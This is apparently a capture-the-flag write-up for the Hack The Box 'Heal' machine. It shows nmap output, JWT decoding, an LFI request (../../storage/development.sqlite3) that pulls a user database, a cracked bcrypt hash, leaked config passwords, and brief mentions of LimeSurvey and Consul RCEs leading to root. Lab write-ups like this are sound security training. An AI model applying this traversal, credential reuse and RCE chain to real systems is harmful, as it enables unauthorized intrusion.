

# credentials

<http://heal.htb/>

<http://take-survey.heal.htb/>

<http://api.heal.htb/>

ralph@heal.htb

• **Rails version:** 7.1.4

• **Ruby version:** ruby 3.3.5 (2024-09-03 revision ef084cc8f4) [x86\_64-linux]

147258369

postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

ralph:x:1000:1000:ralph:/home/ralph:/bin/bash

ron:x:1001:1001:,,,:/home/ron:/bin/bash

root:x:0:0:root:/root:/bin/bash

## report

```
→ Downloads nmap -p 22,80 -A -T4 10.10.11.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 08:56 EDT
Nmap scan report for 10.10.11.46
Host is up (0.023s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://heal.htb/
|_ http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (98%), Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.4 (95%), Linux 3.1 (94%), Linux 3.10 (94%), Linux 5.3 - 5.4 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), Linux 5.0 (94%), HP P2000 G3 NAS device (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   12.03 ms  10.10.14.1
2   13.09 ms  10.10.11.46

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.33 seconds
→ Downloads
```

Gobuster is very slow, there must be some kind of protection against enumeration, probably just a small delay between request.

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## Welcome Back

SIGN IN

[NEW HERE? SIGN UP](#)

We cannot login but we can create an account

# Profile

[LOGOUT](#)

**ID:** 4

**Email:** file@gmail.com

**Full Name:** {{7 \* 7}}

**Username:** {{7 \* 7}}

**Admin:** No

Account doesn't seem like there are vulnerable to ssti. We see a admin field, weird, there must some kind of way to change this to true.

Filter Items		
Key	Value	
token	eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0ZjJ0NnCAZ82F0lukEY6HTIUhK49VpBmwHtd4hBp-Y_w	

We have a token in our local browser storage, it contains only our user id.

## Encoded PASTE A TOKEN HERE

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0fQ
.ZURKarBHJ_F_te27nTjeK6HjQI16Aw9Ny39CKz
TFYDY
```

## Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256"
}
```

PAYLOAD: DATA

```
{
  "user_id": 4
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret
) ☐ secret base64 encoded
```

This means we can maybe access other account by crafting a jwt token with a different user id if they are not properly signed. This doesnt work

The screenshot shows a web browser's developer tools with the Network tab selected. A list of requests is shown, with the third request (GET) selected. The details pane on the right shows the request headers for the selected request. The headers include: Server: nginx/1.18.0 (Ubuntu), vary: Origin, x-content-type-options: nosniff, x-frame-options: SAMEORIGIN, x-permitted-cross-domain-policies: none, x-request-id: b04f60c7-1351-492b-8adf-0cf022279cbe, x-runtime: 0.002753, x-ssr-protection: 0. The request headers section is expanded, showing: Accept: application/json, text/plain, \*/\*, Accept-Encoding: gzip, deflate, Accept-Language: en-US,en;q=0.5, Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0fQ.C2BGMjPlgTWm9pZlP9pGZ0vGZ0qkg7RG4k7tU5Gc, Connection: keep-alive, Host: api.heal.htb, Origin: http://heal.htb, Referer: http://heal.htb/, User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:128.0) Gecko/20100101 Firefox/128.0.

When we export as pdf, a file is upload and the front make a request to the file we generated. If we catch the request wiht burpsuite or copy as curl and change the filename, we discover that this url is vulnerable to lfi.



Request

PrettyRawHex

1GET /download?filename=../../storage/development.sqlite3 HTTP/1.1  
2Host: api.heal.htb  
3Authorization: Bearer  
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR\_KlA7yY9uDP6xu7H1p\_c7DlFQe0Nlg-LFFMQ  
4Accept-Language: en-US,en;q=0.9  
5Accept: application/json, text/plain, \*/\*  
6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/130.0.6723.70 Safari/537.36  
7Origin: http://heal.htb  
8Referer: http://heal.htb/  
9Accept-Encoding: gzip, deflate, br  
10Connection: keep-alive  
11  
12

Response

PrettyRawHexRender

7access-control-allow-origin: http://heal.htb  
8access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD  
9access-control-expose-headers:  
10access-control-max-age: 7200  
11x-frame-options: SAMEORIGIN  
12x-xss-protection: 0  
13x-content-type-options: nosniff  
14x-permitted-cross-domain-policies: none  
15referrer-policy: strict-origin-when-cross-origin  
16content-disposition: attachment; filename="development.sqlite3";  
filename\*=UTF-8'development.sqlite3  
17content-transfer-encoding: binary  
18cache-control: no-cache  
19x-request-id: e6cfe593-195c-4792-8871-c3fd1038b47b  
20x-runtime: 0.003113  
21vary: Origin  
22  
23SQLite format 3@ .vÃ(Ö)ãT55Ktablear\_internal\_metadataar\_internal\_metadataCREATE  
TABLE "ar\_internal\_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar,  
"created\_at" datetime(6) NOT NULL, "updated\_at" datetime(6) NOT  
NULL)G(5indexsqlite\_autoindex\_ar\_internal\_metadata\_lar\_internal\_metadatax//tablesche  
ma\_migrationsschema\_migrationsCREATE TABLE "schema\_migrations" ("version" varchar  
NOT NULL PRIMARY  
KEY)AU/indexsqlite\_autoindex\_schema\_migrations\_lschemamigrationsutaleusersusersCR  
EATE TABLE "users" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "email"  
varchar, "password\_digest" varchar, "created\_at" datetime(6) NOT NULL, "updated\_at"  
datetime(6) NOT NULL, "fullname" varchar, "username" varchar, "is\_admin"  
boolean)P++Ytablesqli\_sequenceCREATE TABLE  
sqlite\_sequence(name,seq)U--ltabletoken\_blacklisttoken\_blacklistsCREATE TABLE  
"token\_blacklists" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "token"  
varchar, "created\_at" datetime(6) NOT NULL, "updated\_at" datetime(6) NOT NULL)öö  
usersccY  
24}AA'  
ralph@heal.htb\$2a\$12\$dUZ/07KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG2024-09-2  
7 07:49:31.6148582024-09-27  
07:49:31.614858Administratorralph;iÜE,|)20240701161836)20240702032524)2024070205312  
5)20240702131229)20240702133115  
25q4µEÜi)20240701161836)20240702032524)20240702053125)20240702131229)  
20240702133115"Al#]AAschema\_shal86dacdae5e53daf6a99cc195f85ec397dbaa71b52024-09-27  
07:49:07.2690482024-09-27 07:49:07.2690490##AAenvironmentdevelopment2024-09-27  
07:49:07.2666762024-09-27 07:49:07.266679  
26ãã#schema\_shal#environment

0 highlights

we can use hashcat to try and crack the password

\$2a\$12\$dUZ/07KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369

This allow us to login as an admin

# Profile

LOGOUT



**ID:** 1

**Email:** ralph@heal.htb

**Full Name:** Administrator

**Username:** ralph

**Admin:** Yes

With these new credential we can login to <http://take-survey.heal.htb/index.php/admin/>

We find a admin pannel for LimeSurvey 6.6.4. Using an RCE we can get a remote shell





/var/www/.htaccess

```
/var/www/limesurvey/application/config/config-sample-dblib.php:    'password' => 'somepassword',  
/var/www/limesurvey/application/config/config-sample-mysql.php:    'password' => 'root',  
/var/www/limesurvey/application/config/config-sample-pgsql.php:    'password' => 'somepassword',  
/var/www/limesurvey/application/config/config-sample-sqlsrv.php:    'password' => 'somepassword',  
/var/www/limesurvey/application/config/config.php:            'password' => 'AdmiDiO_pA$$w0rd',
```

postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

ralph:x:1000:1000:ralph:/home/ralph:/bin/bash

ron:x:1001:1001:,,,:/home/ron:/bin/bash

root:x:0:0:root:/root:/bin/bash

su ron AdmiDiO\_pA\$\$w0rd work! We have a user !

we find that port 8500 is used by consul ui. We look for RCE and bingo, we have root shell.